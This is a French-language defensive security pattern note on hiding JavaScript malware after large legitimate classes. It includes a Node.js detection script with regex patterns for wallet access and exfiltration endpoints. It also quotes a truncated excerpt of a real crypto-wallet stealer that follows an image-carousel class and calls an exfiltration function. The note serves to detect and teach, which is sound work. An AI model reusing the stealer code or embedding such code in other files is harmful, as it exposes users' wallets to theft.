Explorer
KNOW-PAT-045

Stéganographie de code malveillant dans classes légitimes

Domaine
cybersecu
Type
pattern
Priorité
P2

Parent : [[INDEX-CYBERSECU]]

Stéganographie de code malveillant dans classes légitimes

Problème

Les attaquants dissimulent du code malveillant après de grandes classes JavaScript apparemment légitimes pour échapper à l'analyse superficielle. Le fichier sci.js de l'archive Ygg utilise cette technique : 400 lignes de carrousel d'images suivies d'un voleur de wallets Web3.

Solution

Analyser systématiquement la fin des fichiers JavaScript volumineux (>300 lignes). Rechercher les patterns suspects après les définitions de classes.

Implémentation

Détection

// Script d'analyse forensique
const fs = require('fs');

function analyzeFile(filepath) {
  const content = fs.readFileSync(filepath, 'utf8');
  const lines = content.split('\n');
  
  // Red flag : fichier >300 lignes
  if (lines.length > 300) {
    const last100 = lines.slice(-100).join('\n');
    
    // Patterns malveillants
    const suspicious = [
      /window\.(ethereum|phantom|web3)/,
      /localStorage\.getItem.*checked/,
      /fetch\('.*\/collect'/,
      /detectWalletType/,
      /atob\(['"][A-Za-z0-9+/]{20,}['"]\)/
    ];
    
    for (const pattern of suspicious) {
      if (pattern.test(last100)) {
        return { risk: 'HIGH', pattern: pattern.toString(), line: lines.length };
      }
    }
  }
  return { risk: 'LOW' };
}

Exemple réel - Archive Ygg

// sci.js - Lignes 1-399 : ImageCarouselManager (légitime)
class ImageCarouselManager {
  constructor(options={}) { /* ... 400 lignes de carrousel ... */ }
}

// Lignes 400-529 : MALWARE
const initUserInterface = () => {
  const clientConfig = getClientConfig();
  if (!clientConfig) return;
  // ...
};

const WEB3_STATS_KEY = 'stats_checked';
const hasChecked = localStorage.getItem(WEB3_STATS_KEY);
if (hasChecked === 'true') return;

try {
  const isPhantomInstalled = window.phantom?.solana?.isPhantom;
  const provider = window.ethereum || window.web3?.currentProvider;
  
  if (isPhantomInstalled || provider) {
    const walletType = isPhantomInstalled ? 'Phantom' : detectWalletType(provider);
    await sendWeb3Info(walletType);  // Exfiltration
    localStorage.setItem(WEB3_STATS_KEY, 'true');
  }
} catch (error) {
  console.log('e:', error);
}

Signaux d'alerte

  • Fichier JS volumineux (>300 lignes) avec classe/CSS légitime en début
  • Changement brutal de style de code (ES6 class → vanilla JS procédural)
  • Variables globales (window.phantom, window.ethereum) dans les 100 dernières lignes
  • Fetch suspects vers endpoints /collect, /stats, /analytics non documentés
  • LocalStorage marqueurs d'état (checked, sent, tracked)

Tests

Vérifier que l'analyse détecte :

  • Fichiers avec carrousel + voleur de wallets
  • Fichiers avec UI helpers + backdoor CSRF
  • Faux positifs : bibliothèques légitimes (React, Vue)

Comment se prot[ée]ger

  • Scanner les fichiers upload[ée]s avec YARA/ClamAV
  • D[ée]sactiver l'ex[ée]cution de code dans les fichiers m[ée]dia (PHP dans PNG, JS dans SVG)
  • Sandboxing des uploads (r[ée]pertoire non-ex[ée]cutable)
  • Validation stricte du MIME type c[oté] serveur

Références

  • Archive Ygg : 06_ACTIVITE_MALVEILLANTE/06c_crypto_stealer/sci.js
  • Technique : Code steganography, dead code injection